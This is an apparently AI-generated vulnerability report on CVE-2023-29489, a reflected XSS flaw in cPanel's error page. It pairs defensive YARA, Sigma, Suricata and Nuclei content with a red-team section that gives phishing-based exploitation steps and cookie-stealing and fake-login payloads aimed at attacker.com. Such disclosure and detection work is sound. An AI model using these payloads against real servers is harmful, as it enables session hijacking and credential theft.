CVE-2023-29489

Executive Summary

CVE-2023-29489 is a reflected Cross-Site Scripting (XSS) vulnerability in cPanel, a widely used web hosting control panel. The flaw exists in the cpsrvd error page, where an invalid webcall ID is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript payloads in the webcall ID parameter. When a victim visits this URL, the script executes in the context of the cPanel domain, potentially allowing session hijacking, credential theft, or defacement. The vulnerability affects cPanel versions prior to 11.109.9999.116, 11.108.0.13, 11.106.0.18, and 11.102.0.31. Public proof-of-concept (PoC) code and a Nuclei template are available, making exploitation straightforward. The CVSS score is 6.1 (Medium), but the widespread use of cPanel elevates the risk.

Supply Chain & Package Security

cPanel is a proprietary software package, not distributed via NPM, PyPI, Go, or Ruby. The vulnerability affects the core cPanel application itself, not a third-party library. The supply chain risk is limited to the cPanel update mechanism; administrators must ensure they obtain patches from the official cPanel website or update servers.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The low attack complexity and public PoC make it attractive for attackers, but user interaction is required. The EPSS score of 0.92926 (99.8th percentile) indicates a high probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability resides in the cpsrvd daemon, which handles cPanel web service requests. When a request is made to the /cpanelwebcall/ endpoint with an invalid webcall ID, the server returns a 400 Bad Request error page. The error message includes the invalid webcall ID without proper HTML encoding. An attacker can inject HTML and JavaScript by including tags in the webcall ID.

Root Cause: Lack of output encoding on the error message. The server directly reflects the user-supplied input into the HTTP response body.

Attack Flow:

1. Attacker crafts a URL: https://target.com/cpanelwebcall/<img%20src=x%20onerror="alert(document.domain)">
2. Victim clicks the link or is redirected to it.
3. The cPanel server processes the request, fails to find a valid webcall ID, and returns a 400 error page.
4. The injected <img> tag is rendered by the browser, executing the onerror JavaScript.
5. The script runs in the context of the cPanel domain, allowing access to cookies, session tokens, and the ability to perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// cpsrvd error handler (simplified)
$webcall_id = $_GET['id']; // or from URL path
echo "Invalid webcall ID: " . $webcall_id;

Patched Code (Conceptual):

// cpsrvd error handler (simplified)
$webcall_id = $_GET['id']; // or from URL path
echo "Invalid webcall ID: " . htmlspecialchars($webcall_id, ENT_QUOTES, 'UTF-8');

The patch applies HTML entity encoding to the user input before reflection, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable cPanel instance (version < 11.109.9999.116).
• A web browser or tool like curl.

Exploitation Steps:

1. Identify a target cPanel server (e.g., via Shodan: title:"cPanel").
2. Craft a malicious URL:

   https://target.com/cpanelwebcall/<img%20src=x%20onerror="alert(document.cookie)">
   

3. Send the link to a victim (e.g., via phishing email).
4. When the victim visits the URL, the JavaScript executes, displaying their cookies.

Advanced Payloads:

• Session hijacking: <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
• Credential phishing: <img src=x onerror="document.location='https://attacker.com/fake-login?redirect='+window.location">

Using the Nuclei Template: The provided Nuclei template automates detection. Run:

nuclei -t cve-2023-29489.yaml -u https://target.com

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for requests to /cpanelwebcall/ containing HTML tags or JavaScript events (e.g., <img, <script>, onerror).
2. Use the provided Sigma rule to detect exploitation attempts.
3. Deploy a WAF rule to block requests with suspicious patterns in the URL path.

Honeypot Setup:

• Create a decoy cPanel endpoint that logs all requests to /cpanelwebcall/ and alerts on suspicious input.

Indicators of Compromise (IOCs)

• URL Pattern: /cpanelwebcall/<[^>]+> (any HTML tag in the path)
• HTTP Status Code: 400 (Bad Request) with body containing Invalid webcall ID: and injected HTML.
• Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (if payload exfiltrates data).
• Log Entries: Apache/Nginx access logs showing requests to /cpanelwebcall/ with encoded HTML tags.

Detection Engineering

YARA Rule

rule cve_2023_29489_cpanel_xss {
    meta:
        description = "Detects cPanel XSS exploitation attempts via invalid webcall ID"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-29489"
        hash = "4a0a0047304502204b40123b0840bbf4aee1b9a3e0565974cbff269b9d6ebfb5d108c8005c9b51f2022100b40d36c67e90e7ba43df68ec09ae7eea6af62b0b5d1de119146f6d809deb07f0"
    strings:
        $xss_pattern1 = "/cpanelwebcall/<" ascii wide nocase
        $xss_pattern2 = "onerror=" ascii wide nocase
        $xss_pattern3 = "onload=" ascii wide nocase
        $xss_pattern4 = "onclick=" ascii wide nocase
        $xss_pattern5 = "Invalid webcall ID:" ascii wide nocase
    condition:
        all of ($xss_pattern*) and #xss_pattern1 > 0
}

Sigma Rule

title: cPanel XSS Exploitation Attempt (CVE-2023-29489)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the cPanel webcall endpoint with HTML injection
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29489
    - https://blog.assetnote.io/2023/04/26/xss-million-websites-cpanel/
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cpanelwebcall/'
        cs-uri-query|re: '<[a-zA-Z]+[^>]*>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in error pages (unlikely)
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2023.29489

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-29489 cPanel XSS Attempt"; flow:to_server,established; content:"/cpanelwebcall/"; http_uri; pcre:"/<[a-zA-Z]+[^>]*>/Ri"; classtype:web-application-attack; sid:10000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-29489

info:
  name: cPanel < 11.109.9999.116 - Cross-Site Scripting
  author: DhiyaneshDk,0xKayala
  severity: medium
  description: |
    An issue was discovered in cPanel before 11.109.9999.116. Cross Site Scripting can occur on the cpsrvd error page via an invalid webcall ID.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by cPanel to fix this vulnerability.
  reference:
    - https://blog.assetnote.io/2023/04/26/xss-million-websites-cpanel/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29489
    - https://forums.cpanel.net/threads/cpanel-tsr-2023-0001-full-disclosure.708949/
    - https://github.com/SynixCyberCrimeMy/CVE-2023-29489
    - https://github.com/learnerboy88/CVE-2023-29489
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29489
    cwe-id: CWE-79
    epss-score: 0.92926
    epss-percentile: 0.99777
    cpe: cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cpanel
    product: cpanel
    shodan-query:
      - "title:\"cPanel\""
      - http.title:"cpanel"
      - cpe:"cpe:2.3:a:cpanel:cpanel"
      - http.title:"cpanel - api codes"
    fofa-query:
      - "title=\"cpanel - api codes\""
      - title="cpanel"
    google-query:
      - "intitle:\"cpanel - api codes\""
      - intitle:"cpanel"
  tags: cve,cve2023,cpanel,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/cpanelwebcall/<img%20src=x%20onerror="prompt(document.domain)">aaaaaaaaaaaa'
      - '{{BaseURL}}/cpanelwebcall/<><img%20src=x%20onerror="prompt(document.domain)">'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror="prompt(document.domain)">aaaaaaaaaaaa'
          - 'Invalid webcall ID:'
        condition: and

      - type: status
        status:
          - 400

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade cPanel to version 11.109.9999.116, 11.108.0.13, 11.106.0.18, or 11.102.0.31.
2. WAF Rule: Block requests containing < or > in the /cpanelwebcall/ path.
3. Input Validation: If patching is delayed, implement a reverse proxy that sanitizes the webcall ID parameter.

Long-Term Measures:

• Enforce strict Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly update cPanel to the latest version.
• Monitor for anomalous requests to /cpanelwebcall/.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 91DDC6EEAE4A2A250C9DC98D] */}